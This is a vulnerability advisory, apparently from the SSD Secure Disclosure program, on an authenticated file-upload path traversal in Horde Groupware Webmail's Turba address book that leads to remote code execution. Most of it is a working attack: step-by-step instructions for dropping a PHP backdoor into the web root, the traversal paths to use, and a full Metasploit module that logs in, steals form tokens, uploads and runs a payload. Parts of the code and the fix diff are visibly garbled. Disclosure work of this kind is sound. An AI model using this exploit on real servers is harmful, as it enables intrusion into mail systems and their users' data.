SSD Advisory – Horde Groupware Webmail Authenticated Arbitrary File Injection to RCE

Vulnerabilities Summary
The following advisory discusses an arbitrary file injection vulnerability that leads to remote code execution in Horde Groupware Webmail. This vulnerability can be exploited by any authenticated, unprivileged user which able to create a malicious PHP file under the Horde web root and gain arbitrary code execution on the server. The vulnerability is located in the core Horde source code and has been proven exploitable with the installed default Turba address book component.
An independent security researcher, Ratiosec, has reported this vulnerability to SSD Secure Disclosur program.
Affected systems
The exploit has been proven working with the stable release Horde Groupware Webmail 5.2.22 and 5.2.17. Other versions may also be affected.
Vendor Response
“Here is the proposed fix for this vulnerability. It should be released in Horde_Form in a day or two.”

iff --git a/lib/Horde/Form/Type.php b/lib/Horde/Form/Type.php
index e92c790..f1e8157 100644
--- a/lib/Horde/Form/Type.php
+++ b/lib/Horde/Form/Type.php
@@ -1205,7 +1205,7 @@ class Horde_Form_Type_image extends Horde_Form_Type {
              /* Get the temp file if already one uploaded, otherwise create a
               * new temporary file. */
              if (!empty($upload['img']['file'])) {
-                $tmp_file = Horde::getTempDir() . '/' .
+                $tmp_file = Horde::getTempDir() . '/' .
              } else {
                  $tmp_file = Horde::getTempFile('Horde', false);

Vulnerability Details
The Horde file “Horde/Form/Type.php” contains the vulnerable class that handles the image upload in forms.
When the “Horde_Form_Type_image” method “onSubmit()” is called on uploads it invokes the functions “getImage()” and “_getUpload()”, which uses unsanitized user input as path to save the image.
The unsanitized POST parameter “object[photo][img][file]” is saved in the
“$upload[‘img’][‘file’]” PHP variable, allowing an attacker to manipulate the “$tmp_file” passed to “move_uploaded_file()” to save the uploaded file.
Set the parameter to e.g. “../usr/share/horde/static/bd.php” to write a PHP backdoor inside the web root. The “static/” destination folder is a good candidate to drop the backdoor because is always writable in Horde installations.
The unsanitized POST parameter went probably unnoticed because it’s never submitted by the forms which default to securely use a random path.
1) Log into the Horde Groupware Webmail as normal user.
2) Access the “New Contact” view via “Address Book” in the menu.
3) Create a PHP backdoor file on your disk.
4) Fill the mandatory fields submitting the PHP backdoor in the “Photo” file field. The file name is irrelevant.
5) Click the Add button and intercept the outgoing HTTP request using Burp Suite. You should see the POST data including the uploaded PHP backdoor.
6) Add the new POST field “object[photo][img][file]” with the path to traverse the temporary folder and save the PHP backdoor under the “static/” folder. Two path traversals have been found working in different installations:
A. ../usr/share/horde/static/bd.php , working with Horde installed with “apt-get”
B. ../var/www/html/horde/static/bd.php”, working with Horde manually installed with PEAR

7) Forward the request to the target server.
8) Use the uploaded PHP file to execute arbitrary commands.

PoC Code

# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  def initialize(info = {})
      'Name'            => 'Horde Turba File Upload Vulnerability',
      'Description'     => %q{
          Horde Groupware Webmail contains a flaw that allows an authenticated remote
          attacker to execute arbitrary PHP code. The exploitation requires the Turba
          subcomponent to be installed. This module was tested on versions 5.2.22 and 5.2.17.
      'License'         => MSF_LICENSE,
      'Author'          =>
          'Ratiosec', # Vulnerability Disclosure and module
      'References'      =>
      'DisclosureDate'  => 'Aug 17 2017',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [
    ['Automatic', { }],
    ['PEAR', { 'path': '/var/www/html/'}],
    ['Ubuntu', { 'path': '/usr/share/horde/' }],
      'DefaultTarget'   => 0
      ['TARGETURI',  [true, 'The base path to the web application', '/']),'USERNAME',   [true, 'The username to authenticate with']),'PASSWORD',   [true, 'The password to authenticate with'])
  def check
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    return Exploit::CheckCode::Unknown unless cookie
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, '/turba/add.php'),
      'cookie'      => cookie
    if res && res.code == 200
    if res.body.include?('Groupware 5.2.22') || res.body.include?('Groupware 5.2.17')
    return Exploit::CheckCode::Vulnerable
      return Exploit::CheckCode::Appears
  def username
  def password
  def horde_login(user, pass)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'login.php')
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    session_cookie = res.get_cookies
    vprint_status("Logging in...")
    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri, 'login.php'),
      'cookie'      => session_cookie,
      'vars_post'   => {
        'horde_user'  => user,
        'horde_pass'  => pass,
        'login_post'    => '1'
    return res.get_cookies if res && res.code == 302
  def get_tokens(cookie)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'turba', 'add.php'),
      'cookie'      => cookie
    if res && res.code == 200
      if res.body.scan /turba\/add\.php\?source=(.+)"/
          source_token = Regexp.last_match.to_a[1..-1].find{|x| x != "favourites" }
      if res.body =~ /name="turba_form_addcontact_formToken" value="(.+)"/
        form_token = Regexp.last_match[1]
        return source_token, form_token, res.get_cookies
  def exploit
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
    vprint_good("Authenticated to Horde.")
    tokens = get_tokens(cookie)
    fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
    source_token, form_token, secret_cookie = tokens
    vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
    targets[1..-1].each do |curr_target|
    if =~ /Automatic/ or curr_target == target
      payload_name = Rex::Text.rand_text_alpha_lower(10)
      payload_path = File.join(curr_target[:path], "static", "#{payload_name}.php")
      payload_path_traversal = File.join("..", payload_path)
      vprint_status("Preparing payload for target #{}...")
      data =
      data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
      data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
      data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
      data.add_part(source_token, nil, nil, 'form-data; name="source"')
      data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
      post_data = data.to_s
      vprint_status("Uploading payload to #{payload_path_traversal}")
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri, 'turba', 'add.php'),
        'ctype'     => "multipart/form-data; boundary=#{data.bound}",
        'data'      => post_data,
        'cookie'    => cookie + ' ' + secret_cookie
      fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
      payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
      vprint_status("Executing the payload at #{payload_url}.")
      res = send_request_cgi(
        'uri'     => payload_url,
        'method'  => 'GET'
      if res and res.code != 200
        vprint_bad("URL #{payload_url} hasn't been created or is not callable")

Install the module under ~/.msf4/modules/exploits/unix/webapp/horde_turba_file_upload.rb .
The module automatically exploits the Horde across different  configurations, both if manually installed with PEAR or with apt-get.


Get in touch